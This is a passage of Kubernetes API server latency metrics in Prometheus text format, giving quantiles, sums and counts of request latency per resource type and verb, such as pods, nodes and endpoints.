,verb=\ get\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ daemonsets\ ,verb=\ get\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ daemonsets\ ,verb=\ get\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ daemonsets\ ,verb=\ get\ } 4.6151e+06\r apiserver_request_latencies_summary_count{resource=\ daemonsets\ ,verb=\ get\ } 112\r apiserver_request_latencies_summary{resource=\ daemonsets\ ,verb=\ list\ ,quantile=\ 0.5\ } 2789\r apiserver_request_latencies_summary{resource=\ daemonsets\ ,verb=\ list\ ,quantile=\ 0.9\ } 20483\r apiserver_request_latencies_summary{resource=\ daemonsets\ ,verb=\ list\ ,quantile=\ 0.99\ } 100926\r apiserver_request_latencies_summary_sum{resource=\ daemonsets\ ,verb=\ list\ } 6.3406995e+07\r apiserver_request_latencies_summary_count{resource=\ daemonsets\ ,verb=\ list\ } 3648\r apiserver_request_latencies_summary{resource=\ daemonsets\ ,verb=\ patch\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ daemonsets\ ,verb=\ patch\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ daemonsets\ ,verb=\ patch\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ daemonsets\ ,verb=\ patch\ } 745497\r apiserver_request_latencies_summary_count{resource=\ daemonsets\ ,verb=\ patch\ } 4\r apiserver_request_latencies_summary{resource=\ deployments\ ,verb=\ delete\ ,quantile=\ 0.5\ } 10257\r apiserver_request_latencies_summary{resource=\ deployments\ ,verb=\ delete\ ,quantile=\ 0.9\ } 10257\r apiserver_request_latencies_summary{resource=\ deployments\ ,verb=\ delete\ ,quantile=\ 0.99\ } 10257\r apiserver_request_latencies_summary_sum{resource=\ deployments\ ,verb=\ delete\ } 36392\r apiserver_request_latencies_summary_count{resource=\ deployments\ ,verb=\ delete\ } 4\r apiserver_request_latencies_summary{resource=\ deployments\ ,verb=\ get\ ,quantile=\ 0.5\ } 1180\r apiserver_request_latencies_summary{resource=\ deployments\ ,verb=\ get\ ,quantile=\ 0.9\ } 1875\r apiserver_request_latencies_summary{resource=\ deployments\ ,verb=\ get\ ,quantile=\ 0.99\ } 1875\r apiserver_request_latencies_summary_sum{resource=\ deployments\ ,verb=\ get\ } 458918\r apiserver_request_latencies_summary_count{resource=\ deployments\ ,verb=\ get\ } 35\r apiserver_request_latencies_summary{resource=\ deployments\ ,verb=\ list\ ,quantile=\ 0.5\ } 15321\r apiserver_request_latencies_summary{resource=\ deployments\ ,verb=\ list\ ,quantile=\ 0.9\ } 280420\r apiserver_request_latencies_summary{resource=\ deployments\ ,verb=\ list\ ,quantile=\ 0.99\ } 393374\r apiserver_request_latencies_summary_sum{resource=\ deployments\ ,verb=\ list\ } 1.12914081e+08\r apiserver_request_latencies_summary_count{resource=\ deployments\ ,verb=\ list\ } 1008\r apiserver_request_latencies_summary{resource=\ deployments\ ,verb=\ patch\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ deployments\ ,verb=\ patch\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ deployments\ ,verb=\ patch\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ deployments\ ,verb=\ patch\ } 382446\r apiserver_request_latencies_summary_count{resource=\ deployments\ ,verb=\ patch\ } 15\r apiserver_request_latencies_summary{resource=\ deployments\ ,verb=\ post\ ,quantile=\ 0.5\ } 3768\r apiserver_request_latencies_summary{resource=\ deployments\ ,verb=\ post\ ,quantile=\ 0.9\ } 16772\r apiserver_request_latencies_summary{resource=\ deployments\ ,verb=\ post\ ,quantile=\ 0.99\ } 16772\r apiserver_request_latencies_summary_sum{resource=\ deployments\ ,verb=\ post\ } 109828\r apiserver_request_latencies_summary_count{resource=\ deployments\ ,verb=\ post\ } 4\r apiserver_request_latencies_summary{resource=\ deployments\ ,verb=\ put\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ deployments\ ,verb=\ put\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ deployments\ ,verb=\ put\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ deployments\ ,verb=\ put\ } 14939\r apiserver_request_latencies_summary_count{resource=\ deployments\ ,verb=\ put\ } 2\r apiserver_request_latencies_summary{resource=\ endpoints\ ,verb=\ get\ ,quantile=\ 0.5\ } 2118\r apiserver_request_latencies_summary{resource=\ endpoints\ ,verb=\ get\ ,quantile=\ 0.9\ } 95545\r apiserver_request_latencies_summary{resource=\ endpoints\ ,verb=\ get\ ,quantile=\ 0.99\ } 391919\r apiserver_request_latencies_summary_sum{resource=\ endpoints\ ,verb=\ get\ } 1.165225393e+09\r apiserver_request_latencies_summary_count{resource=\ endpoints\ ,verb=\ get\ } 49198\r apiserver_request_latencies_summary{resource=\ endpoints\ ,verb=\ list\ ,quantile=\ 0.5\ } 101159\r apiserver_request_latencies_summary{resource=\ endpoints\ ,verb=\ list\ ,quantile=\ 0.9\ } 301494\r apiserver_request_latencies_summary{resource=\ endpoints\ ,verb=\ list\ ,quantile=\ 0.99\ } 636992\r apiserver_request_latencies_summary_sum{resource=\ endpoints\ ,verb=\ list\ } 1.0344581295e+10\r apiserver_request_latencies_summary_count{resource=\ endpoints\ ,verb=\ list\ } 76978\r apiserver_request_latencies_summary{resource=\ endpoints\ ,verb=\ put\ ,quantile=\ 0.5\ } 7226\r apiserver_request_latencies_summary{resource=\ endpoints\ ,verb=\ put\ ,quantile=\ 0.9\ } 86331\r apiserver_request_latencies_summary{resource=\ endpoints\ ,verb=\ put\ ,quantile=\ 0.99\ } 230095\r apiserver_request_latencies_summary_sum{resource=\ endpoints\ ,verb=\ put\ } 1.5347824e+08\r apiserver_request_latencies_summary_count{resource=\ endpoints\ ,verb=\ put\ } 6823\r apiserver_request_latencies_summary{resource=\ endpoints\ ,verb=\ watch\ ,quantile=\ 0.5\ } 4.64002612e+08\r apiserver_request_latencies_summary{resource=\ endpoints\ ,verb=\ watch\ ,quantile=\ 0.9\ } 5.70000316e+08\r apiserver_request_latencies_summary{resource=\ endpoints\ ,verb=\ watch\ ,quantile=\ 0.99\ } 5.88001708e+08\r apiserver_request_latencies_summary_sum{resource=\ endpoints\ ,verb=\ watch\ } 2.75517142166e+11\r apiserver_request_latencies_summary_count{resource=\ endpoints\ ,verb=\ watch\ } 622\r apiserver_request_latencies_summary{resource=\ endpoints\ ,verb=\ watchlist\ ,quantile=\ 0.5\ } 4.68001136e+08\r apiserver_request_latencies_summary{resource=\ endpoints\ ,verb=\ watchlist\ ,quantile=\ 0.9\ } 5.59000508e+08\r apiserver_request_latencies_summary{resource=\ endpoints\ ,verb=\ watchlist\ ,quantile=\ 0.99\ } 5.70000335e+08\r apiserver_request_latencies_summary_sum{resource=\ endpoints\ ,verb=\ watchlist\ } 1.40073125175e+11\r apiserver_request_latencies_summary_count{resource=\ endpoints\ ,verb=\ watchlist\ } 316\r apiserver_request_latencies_summary{resource=\ events\ ,verb=\ list\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ events\ ,verb=\ list\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ events\ ,verb=\ list\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ events\ ,verb=\ list\ } 3.634932e+06\r apiserver_request_latencies_summary_count{resource=\ events\ ,verb=\ list\ } 18\r apiserver_request_latencies_summary{resource=\ events\ ,verb=\ patch\ ,quantile=\ 0.5\ } 5661\r apiserver_request_latencies_summary{resource=\ events\ ,verb=\ patch\ ,quantile=\ 0.9\ } 27162\r apiserver_request_latencies_summary{resource=\ events\ ,verb=\ patch\ ,quantile=\ 0.99\ } 27162\r apiserver_request_latencies_summary_sum{resource=\ events\ ,verb=\ patch\ } 9.610014e+06\r apiserver_request_latencies_summary_count{resource=\ events\ ,verb=\ patch\ } 237\r apiserver_request_latencies_summary{resource=\ events\ ,verb=\ post\ ,quantile=\ 0.5\ } 4459\r apiserver_request_latencies_summary{resource=\ events\ ,verb=\ post\ ,quantile=\ 0.9\ } 57641\r apiserver_request_latencies_summary{resource=\ events\ ,verb=\ post\ ,quantile=\ 0.99\ } 156154\r apiserver_request_latencies_summary_sum{resource=\ events\ ,verb=\ post\ } 8.1423503e+07\r apiserver_request_latencies_summary_count{resource=\ events\ ,verb=\ post\ } 2821\r apiserver_request_latencies_summary{resource=\ horizontalpodautoscalers\ ,verb=\ list\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ horizontalpodautoscalers\ ,verb=\ list\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ horizontalpodautoscalers\ ,verb=\ list\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ horizontalpodautoscalers\ ,verb=\ list\ } 25424\r apiserver_request_latencies_summary_count{resource=\ horizontalpodautoscalers\ ,verb=\ list\ } 5\r apiserver_request_latencies_summary{resource=\ ingresses\ ,verb=\ get\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ ingresses\ ,verb=\ get\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ ingresses\ ,verb=\ get\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ ingresses\ ,verb=\ get\ } 96659\r apiserver_request_latencies_summary_count{resource=\ ingresses\ ,verb=\ get\ } 3\r apiserver_request_latencies_summary{resource=\ ingresses\ ,verb=\ list\ ,quantile=\ 0.5\ } 5361\r apiserver_request_latencies_summary{resource=\ ingresses\ ,verb=\ list\ ,quantile=\ 0.9\ } 103431\r apiserver_request_latencies_summary{resource=\ ingresses\ ,verb=\ list\ ,quantile=\ 0.99\ } 396085\r apiserver_request_latencies_summary_sum{resource=\ ingresses\ ,verb=\ list\ } 3.266173711e+09\r apiserver_request_latencies_summary_count{resource=\ ingresses\ ,verb=\ list\ } 89540\r apiserver_request_latencies_summary{resource=\ ingresses\ ,verb=\ patch\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ ingresses\ ,verb=\ patch\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ ingresses\ ,verb=\ patch\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ ingresses\ ,verb=\ patch\ } 4068\r apiserver_request_latencies_summary_count{resource=\ ingresses\ ,verb=\ patch\ } 1\r apiserver_request_latencies_summary{resource=\ ingresses\ ,verb=\ watchlist\ ,quantile=\ 0.5\ } 2.636721623e+09\r apiserver_request_latencies_summary{resource=\ ingresses\ ,verb=\ watchlist\ ,quantile=\ 0.9\ } 2.636721623e+09\r apiserver_request_latencies_summary{resource=\ ingresses\ ,verb=\ watchlist\ ,quantile=\ 0.99\ } 2.636721623e+09\r apiserver_request_latencies_summary_sum{resource=\ ingresses\ ,verb=\ watchlist\ } 6.6265207664e+10\r apiserver_request_latencies_summary_count{resource=\ ingresses\ ,verb=\ watchlist\ } 26\r apiserver_request_latencies_summary{resource=\ jobs\ ,verb=\ delete\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ jobs\ ,verb=\ delete\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ jobs\ ,verb=\ delete\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ jobs\ ,verb=\ delete\ } 5.697304e+06\r apiserver_request_latencies_summary_count{resource=\ jobs\ ,verb=\ delete\ } 181\r apiserver_request_latencies_summary{resource=\ jobs\ ,verb=\ get\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ jobs\ ,verb=\ get\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ jobs\ ,verb=\ get\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ jobs\ ,verb=\ get\ } 56190\r apiserver_request_latencies_summary_count{resource=\ jobs\ ,verb=\ get\ } 12\r apiserver_request_latencies_summary{resource=\ jobs\ ,verb=\ list\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ jobs\ ,verb=\ list\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ jobs\ ,verb=\ list\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ jobs\ ,verb=\ list\ } 1.518463e+06\r apiserver_request_latencies_summary_count{resource=\ jobs\ ,verb=\ list\ } 11\r apiserver_request_latencies_summary{resource=\ limitranges\ ,verb=\ get\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ limitranges\ ,verb=\ get\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ limitranges\ ,verb=\ get\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ limitranges\ ,verb=\ get\ } 3016\r apiserver_request_latencies_summary_count{resource=\ limitranges\ ,verb=\ get\ } 2\r apiserver_request_latencies_summary{resource=\ limitranges\ ,verb=\ list\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ limitranges\ ,verb=\ list\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ limitranges\ ,verb=\ list\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ limitranges\ ,verb=\ list\ } 159548\r apiserver_request_latencies_summary_count{resource=\ limitranges\ ,verb=\ list\ } 7\r apiserver_request_latencies_summary{resource=\ limitranges\ ,verb=\ patch\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ limitranges\ ,verb=\ patch\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ limitranges\ ,verb=\ patch\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ limitranges\ ,verb=\ patch\ } 3588\r apiserver_request_latencies_summary_count{resource=\ limitranges\ ,verb=\ patch\ } 2\r apiserver_request_latencies_summary{resource=\ limitranges\ ,verb=\ watch\ ,quantile=\ 0.5\ } 4.08000641e+08\r apiserver_request_latencies_summary{resource=\ limitranges\ ,verb=\ watch\ ,quantile=\ 0.9\ } 5.29000242e+08\r apiserver_request_latencies_summary{resource=\ limitranges\ ,verb=\ watch\ ,quantile=\ 0.99\ } 5.29000242e+08\r apiserver_request_latencies_summary_sum{resource=\ limitranges\ ,verb=\ watch\ } 6.9036552855e+10\r apiserver_request_latencies_summary_count{resource=\ limitranges\ ,verb=\ watch\ } 154\r apiserver_request_latencies_summary{resource=\ namespaces\ ,verb=\ get\ ,quantile=\ 0.5\ } 1979\r apiserver_request_latencies_summary{resource=\ namespaces\ ,verb=\ get\ ,quantile=\ 0.9\ } 73378\r apiserver_request_latencies_summary{resource=\ namespaces\ ,verb=\ get\ ,quantile=\ 0.99\ } 204904\r apiserver_request_latencies_summary_sum{resource=\ namespaces\ ,verb=\ get\ } 1.41950381e+08\r apiserver_request_latencies_summary_count{resource=\ namespaces\ ,verb=\ get\ } 9165\r apiserver_request_latencies_summary{resource=\ namespaces\ ,verb=\ list\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ namespaces\ ,verb=\ list\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ namespaces\ ,verb=\ list\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ namespaces\ ,verb=\ list\ } 24493\r apiserver_request_latencies_summary_count{resource=\ namespaces\ ,verb=\ list\ } 3\r apiserver_request_latencies_summary{resource=\ namespaces\ ,verb=\ post\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ namespaces\ ,verb=\ post\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ namespaces\ ,verb=\ post\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ namespaces\ ,verb=\ post\ } 98086\r apiserver_request_latencies_summary_count{resource=\ namespaces\ ,verb=\ post\ } 1\r apiserver_request_latencies_summary{resource=\ namespaces\ ,verb=\ watch\ ,quantile=\ 0.5\ } 13000\r apiserver_request_latencies_summary{resource=\ namespaces\ ,verb=\ watch\ ,quantile=\ 0.9\ } 4.64099852e+08\r apiserver_request_latencies_summary{resource=\ namespaces\ ,verb=\ watch\ ,quantile=\ 0.99\ } 5.46000321e+08\r apiserver_request_latencies_summary_sum{resource=\ namespaces\ ,verb=\ watch\ } 1.35214363507e+11\r apiserver_request_latencies_summary_count{resource=\ namespaces\ ,verb=\ watch\ } 942\r apiserver_request_latencies_summary{resource=\ namespaces\ ,verb=\ watchlist\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ namespaces\ ,verb=\ watchlist\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ namespaces\ ,verb=\ watchlist\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ namespaces\ ,verb=\ watchlist\ } 1.770343085e+09\r apiserver_request_latencies_summary_count{resource=\ namespaces\ ,verb=\ watchlist\ } 5\r apiserver_request_latencies_summary{resource=\ nodes\ ,verb=\ get\ ,quantile=\ 0.5\ } 316\r apiserver_request_latencies_summary{resource=\ nodes\ ,verb=\ get\ ,quantile=\ 0.9\ } 476\r apiserver_request_latencies_summary{resource=\ nodes\ ,verb=\ get\ ,quantile=\ 0.99\ } 87917\r apiserver_request_latencies_summary_sum{resource=\ nodes\ ,verb=\ get\ } 8.6578745e+07\r apiserver_request_latencies_summary_count{resource=\ nodes\ ,verb=\ get\ } 34108\r apiserver_request_latencies_summary{resource=\ nodes\ ,verb=\ list\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ nodes\ ,verb=\ list\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ nodes\ ,verb=\ list\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ nodes\ ,verb=\ list\ } 6.570098e+06\r apiserver_request_latencies_summary_count{resource=\ nodes\ ,verb=\ list\ } 197\r apiserver_request_latencies_summary{resource=\ nodes\ ,verb=\ patch\ ,quantile=\ 0.5\ } 21959\r apiserver_request_latencies_summary{resource=\ nodes\ ,verb=\ patch\ ,quantile=\ 0.9\ } 195052\r apiserver_request_latencies_summary{resource=\ nodes\ ,verb=\ patch\ ,quantile=\ 0.99\ } 679667\r apiserver_request_latencies_summary_sum{resource=\ nodes\ ,verb=\ patch\ } 1.871017595e+09\r apiserver_request_latencies_summary_count{resource=\ nodes\ ,verb=\ patch\ } 34042\r apiserver_request_latencies_summary{resource=\ nodes\ ,verb=\ post\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ nodes\ ,verb=\ post\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ nodes\ ,verb=\ post\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ nodes\ ,verb=\ post\ } 59161\r apiserver_request_latencies_summary_count{resource=\ nodes\ ,verb=\ post\ } 8\r apiserver_request_latencies_summary{resource=\ nodes\ ,verb=\ put\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ nodes\ ,verb=\ put\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ nodes\ ,verb=\ put\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ nodes\ ,verb=\ put\ } 3.8600184e+07\r apiserver_request_latencies_summary_count{resource=\ nodes\ ,verb=\ put\ } 645\r apiserver_request_latencies_summary{resource=\ nodes\ ,verb=\ watch\ ,quantile=\ 0.5\ } 22446\r apiserver_request_latencies_summary{resource=\ nodes\ ,verb=\ watch\ ,quantile=\ 0.9\ } 3.26000476e+08\r apiserver_request_latencies_summary{resource=\ nodes\ ,verb=\ watch\ ,quantile=\ 0.99\ } 5.79114359e+08\r apiserver_request_latencies_summary_sum{resource=\ nodes\ ,verb=\ watch\ } 6.7447290162e+11\r apiserver_request_latencies_summary_count{resource=\ nodes\ ,verb=\ watch\ } 15538\r apiserver_request_latencies_summary{resource=\ nodes\ ,verb=\ watchlist\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ nodes\ ,verb=\ watchlist\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ nodes\ ,verb=\ watchlist\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ nodes\ ,verb=\ watchlist\ } 1.3354929587e+10\r apiserver_request_latencies_summary_count{resource=\ nodes\ ,verb=\ watchlist\ } 35\r apiserver_request_latencies_summary{resource=\ persistentvolumeclaims\ ,verb=\ get\ ,quantile=\ 0.5\ } 2264\r apiserver_request_latencies_summary{resource=\ persistentvolumeclaims\ ,verb=\ get\ ,quantile=\ 0.9\ } 91755\r apiserver_request_latencies_summary{resource=\ persistentvolumeclaims\ ,verb=\ get\ ,quantile=\ 0.99\ } 295723\r apiserver_request_latencies_summary_sum{resource=\ persistentvolumeclaims\ ,verb=\ get\ } 8.6392202e+07\r apiserver_request_latencies_summary_count{resource=\ persistentvolumeclaims\ ,verb=\ get\ } 3788\r apiserver_request_latencies_summary{resource=\ persistentvolumeclaims\ ,verb=\ list\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ persistentvolumeclaims\ ,verb=\ list\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ persistentvolumeclaims\ ,verb=\ list\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ persistentvolumeclaims\ ,verb=\ list\ } 288\r apiserver_request_latencies_summary_count{resource=\ persistentvolumeclaims\ ,verb=\ list\ } 1\r apiserver_request_latencies_summary{resource=\ persistentvolumeclaims\ ,verb=\ watch\ ,quantile=\ 0.5\ } 4.39097054e+08\r apiserver_request_latencies_summary{resource=\ persistentvolumeclaims\ ,verb=\ watch\ ,quantile=\ 0.9\ } 5.30000345e+08\r apiserver_request_latencies_summary{resource=\ persistentvolumeclaims\ ,verb=\ watch\ ,quantile=\ 0.99\ } 5.30000345e+08\r apiserver_request_latencies_summary_sum{resource=\ persistentvolumeclaims\ ,verb=\ watch\ } 6.9312180305e+10\r apiserver_request_latencies_summary_count{resource=\ persistentvolumeclaims\ ,verb=\ watch\ } 150\r apiserver_request_latencies_summary{resource=\ persistentvolumes\ ,verb=\ get\ ,quantile=\ 0.5\ } 1849\r apiserver_request_latencies_summary{resource=\ persistentvolumes\ ,verb=\ get\ ,quantile=\ 0.9\ } 67847\r apiserver_request_latencies_summary{resource=\ persistentvolumes\ ,verb=\ get\ ,quantile=\ 0.99\ } 159876\r apiserver_request_latencies_summary_sum{resource=\ persistentvolumes\ ,verb=\ get\ } 4.9947084e+07\r apiserver_request_latencies_summary_count{resource=\ persistentvolumes\ ,verb=\ get\ } 3789\r apiserver_request_latencies_summary{resource=\ persistentvolumes\ ,verb=\ list\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ persistentvolumes\ ,verb=\ list\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ persistentvolumes\ ,verb=\ list\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ persistentvolumes\ ,verb=\ list\ } 268\r apiserver_request_latencies_summary_count{resource=\ persistentvolumes\ ,verb=\ list\ } 1\r apiserver_request_latencies_summary{resource=\ persistentvolumes\ ,verb=\ watch\ ,quantile=\ 0.5\ } 4.92000414e+08\r apiserver_request_latencies_summary{resource=\ persistentvolumes\ ,verb=\ watch\ ,quantile=\ 0.9\ } 5.80000316e+08\r apiserver_request_latencies_summary{resource=\ persistentvolumes\ ,verb=\ watch\ ,quantile=\ 0.99\ } 5.80000316e+08\r apiserver_request_latencies_summary_sum{resource=\ persistentvolumes\ ,verb=\ watch\ } 6.9265196092e+10\r apiserver_request_latencies_summary_count{resource=\ persistentvolumes\ ,verb=\ watch\ } 152\r apiserver_request_latencies_summary{resource=\ platformcredentialssets\ ,verb=\ get\ ,quantile=\ 0.5\ } 2114\r apiserver_request_latencies_summary{resource=\ platformcredentialssets\ ,verb=\ get\ ,quantile=\ 0.9\ } 2114\r apiserver_request_latencies_summary{resource=\ platformcredentialssets\ ,verb=\ get\ ,quantile=\ 0.99\ } 2114\r apiserver_request_latencies_summary_sum{resource=\ platformcredentialssets\ ,verb=\ get\ } 138689\r apiserver_request_latencies_summary_count{resource=\ platformcredentialssets\ ,verb=\ get\ } 3\r apiserver_request_latencies_summary{resource=\ platformcredentialssets\ ,verb=\ list\ ,quantile=\ 0.5\ } 3158\r apiserver_request_latencies_summary{resource=\ platformcredentialssets\ ,verb=\ list\ ,quantile=\ 0.9\ } 140029\r apiserver_request_latencies_summary{resource=\ platformcredentialssets\ ,verb=\ list\ ,quantile=\ 0.99\ } 282654\r apiserver_request_latencies_summary_sum{resource=\ platformcredentialssets\ ,verb=\ list\ } 1.0165435e+07\r apiserver_request_latencies_summary_count{resource=\ platformcredentialssets\ ,verb=\ list\ } 567\r apiserver_request_latencies_summary{resource=\ platformcredentialssets\ ,verb=\ put\ ,quantile=\ 0.5\ } 5926\r apiserver_request_latencies_summary{resource=\ platformcredentialssets\ ,verb=\ put\ ,quantile=\ 0.9\ } 5926\r apiserver_request_latencies_summary{resource=\ platformcredentialssets\ ,verb=\ put\ ,quantile=\ 0.99\ } 5926\r apiserver_request_latencies_summary_sum{resource=\ platformcredentialssets\ ,verb=\ put\ } 11771\r apiserver_request_latencies_summary_count{resource=\ platformcredentialssets\ ,verb=\ put\ } 2\r apiserver_request_latencies_summary{resource=\ poddisruptionbudgets\ ,verb=\ list\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ poddisruptionbudgets\ ,verb=\ list\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ poddisruptionbudgets\ ,verb=\ list\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ poddisruptionbudgets\ ,verb=\ list\ } 3.206562e+06\r apiserver_request_latencies_summary_count{resource=\ poddisruptionbudgets\ ,verb=\ list\ } 99\r apiserver_request_latencies_summary{resource=\ pods\ ,verb=\ delete\ ,quantile=\ 0.5\ } 25526\r apiserver_request_latencies_summary{resource=\ pods\ ,verb=\ delete\ ,quantile=\ 0.9\ } 25526\r apiserver_request_latencies_summary{resource=\ pods\ ,verb=\ delete\ ,quantile=\ 0.99\ } 25526\r apiserver_request_latencies_summary_sum{resource=\ pods\ ,verb=\ delete\ } 3.2938e+07\r apiserver_request_latencies_summary_count{resource=\ pods\ ,verb=\ delete\ } 329\r apiserver_request_latencies_summary{resource=\ pods\ ,verb=\ get\ ,quantile=\ 0.5\ } 15084\r apiserver_request_latencies_summary{resource=\ pods\ ,verb=\ get\ ,quantile=\ 0.9\ } 302509\r apiserver_request_latencies_summary{resource=\ pods\ ,verb=\ get\ ,quantile=\ 0.99\ } 2.03264806e+09\r apiserver_request_latencies_summary_sum{resource=\ pods\ ,verb=\ get\ } 1.5191193458e+10\r apiserver_request_latencies_summary_count{resource=\ pods\ ,verb=\ get\ } 6204\r apiserver_request_latencies_summary{resource=\ pods\ ,verb=\ list\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ pods\ ,verb=\ list\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ pods\ ,verb=\ list\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ pods\ ,verb=\ list\ } 2.5924607e+07\r apiserver_request_latencies_summary_count{resource=\ pods\ ,verb=\ list\ } 136\r apiserver_request_latencies_summary{resource=\ pods\ ,verb=\ post\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ pods\ ,verb=\ post\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ pods\ ,verb=\ post\ ,quantile=\ 0.99\ } nan\r apiserver_request_latencies_summary_sum{resource=\ pods\ ,verb=\ post\ } 3.0661325e+07\r apiserver_request_latencies_summary_count{resource=\ pods\ ,verb=\ post\ } 110\r apiserver_request_latencies_summary{resource=\ pods\ ,verb=\ put\ ,quantile=\ 0.5\ } 11627\r apiserver_request_latencies_summary{resource=\ pods\ ,verb=\ put\ ,quantile=\ 0.9\ } 140255\r apiserver_request_latencies_summary{resource=\ pods\ ,verb=\ put\ ,quantile=\ 0.99\ } 431418\r apiserver_request_latencies_summary_sum{resource=\ pods\ ,verb=\ put\ } 7.9591485e+07\r apiserver_request_latencies_summary_count{resource=\ pods\ ,verb=\ put\ } 1733\r apiserver_request_latencies_summary{resource=\ pods\ ,verb=\ watch\ ,quantile=\ 0.5\ } 178658\r apiserver_request_latencies_summary{resource=\ pods\ ,verb=\ watch\ ,quantile=\ 0.9\ } 1.473512e+06\r apiserver_request_latencies_summary{resource=\ pods\ ,verb=\ watch\ ,quantile=\ 0.99\ } 5.38097152e+08\r apiserver_request_latencies_summary_sum{resource=\ pods\ ,verb=\ watch\ } 7.49392191107e+11\r apiserver_request_latencies_summary_count{resource=\ pods\ ,verb=\ watch\ } 21319\r apiserver_request_latencies_summary{resource=\ pods\ ,verb=\ watchlist\ ,quantile=\ 0.5\ } 4.49038218e+08\r apiserver_request_latencies_summary{resource=\ pods\ ,verb=\ watchlist\ ,quantile=\ 0.9\ } 5.30002642e+08\r apiserver_request_latencies_summary{resource=\ pods\ ,verb=\ watchlist\ ,quantile=\ 0.99\ } 